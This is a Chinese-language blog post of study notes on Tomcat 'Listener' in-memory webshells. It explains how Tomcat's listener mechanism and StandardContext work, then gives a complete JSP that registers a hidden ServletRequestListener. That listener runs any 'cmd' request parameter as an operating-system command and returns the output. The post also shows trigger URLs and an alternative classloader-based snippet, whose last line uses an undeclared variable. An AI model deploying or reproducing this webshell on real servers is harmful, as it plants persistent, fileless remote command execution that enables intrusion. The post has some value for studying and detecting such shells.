Java Listener内存马

前言:作为Listener内存马的笔记

我这里把相关的Tomcat的流程跟完了,下面的链接自己有些一点Tomcat相关的东西

参考:https://www.cnblogs.com/zpchcbd/tag/Tomcat/

这里继续来跟Listener内存马的知识点

什么是Listener监听器

在学习Listener内存马之前,先了解下什么是Listener监听器

监听器Listener就是在application,session,request三个对象创建、销毁或者往其中添加修改删除属性时自动执行代码的功能组件。

Listener是Servlet的监听器,可以监听客户端的请求,服务端的操作等。

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生Java.util.EvenListener

org.apache.catalina.LifecycleListener

对于LifecycleListener这种监听器,LifecycleListener增加了生命周期管理,主要作为事件驱动器来作用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper

什么叫做事件驱动器?这里就拿StandardHost来举例子,这里可以来看下这个对象的时间驱动器HostConfig,一般HOST干活的话都是通过HostConfig中进行操作

但是这个不能作为内存马来进行使用,因为主要是用于四大容器,主要应用的地方是我们请求之前的动作。而我们需要的是我们进行请求中的时候,此时的Listener能够监听到并且解析请求来对应执行相关的操作才行

Java.util.EventListener

这里来看下EventListener,这个监听器的初始化存在于java/org/apache/catalina/core/StandardHostValve.java#invoke中

此时可以看到Host组件要把相关的请求转接给Context组件了,而转接之前Context组件还会先调用fireRequestInitEvent方法,这个方法则是进行相关EventListener的初始化,这里可以跟进去看到如下,可以看到会通过getApplicationEventListeners来获取相关EventListeners,然后对每个EventListeners的requestInitialized(event);

什么是Listener内存马

在tomcat中经过的流程为 Listener -> Filter -> Servlet 的顺序,在这里的话Listener的优先级是最高的

我们这里选择的是关于EventListener的接口,它接口实现类有很多

这里选择的是ServletRequestListener,因为在HTTP的request中,这个ServletRequestListener在其中能够对请求进行解析等相关操作,这里可以继续来看下ServletRequestListener的方法,所以需要实现的就是requestInitialized和requestDestroyed方法

那么现在也可以整理清楚了,获取所有Listeners的方法是在org/apache/catalina/core/StandardContext.java#fireRequestInitEvent中的getApplicationEventListeners方法

这个getApplicationEventListeners方法同样也是StandardContext对象中的,所以最后的话就是想要实现Listener内存马的话,需要在applicationEventListenersList中事先将自己实现的内存马进行存储到里面


    /**
     * The list of instantiated application event listener objects. Note that
     * SCIs and other code may use the pluggability APIs to add listener
     * instances directly to this list before the application starts.
     */
    private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

    @Override
    public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
    }

在StandardContext中提供了一个addApplicationEventListener方法,通过这个方法能够将指定的Listener添加到applicationEventListenersList中

    /**
     * Add a listener to the end of the list of initialized application event
     * listeners.
     *
     * @param listener The listener to add
     */
    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

实现Listener内存马

那么通过上面的梳理,则是通过获取对应的StandardContext对象,然后接着就是通过StandardContext对象中的addApplicationEventListener方法,对自己实现的ServletRequestListener对象进行添加即可实现基于Listener的静态版的内存马

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

下面的环境中的上下文路径是web_demo

访问下http://127.0.0.1:8080/web_demo/test.jsp,进行内存马生成

接着继续访问:http://127.0.0.1:8080/web_demo/?cmd=whoami

后半部门获取StandardContext 其实还是依赖于request这个对象,所以这里获取StandardContext还可以换成如下方式来进行获取

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

那么也就是如下:

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
posted @ 2021-08-17 21:16  zpchcbd  阅读(238)  评论(0编辑  收藏  举报